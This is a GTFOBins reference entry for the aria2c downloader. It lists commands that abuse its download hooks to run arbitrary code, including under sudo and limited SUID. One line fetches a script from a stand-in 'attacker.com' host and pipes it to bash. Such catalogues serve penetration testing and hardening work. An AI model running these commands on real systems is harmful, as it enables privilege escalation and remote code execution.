GTFOBins.github.io/_gtfobins/aria2c.md
2021-01-11 13:45:21 +02:00

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---
description: Note that the subprocess is immediately sent to the background.
functions:
command:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x
- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
sudo:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo aria2c --on-download-error=$TF http://x
limited-suid:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x
---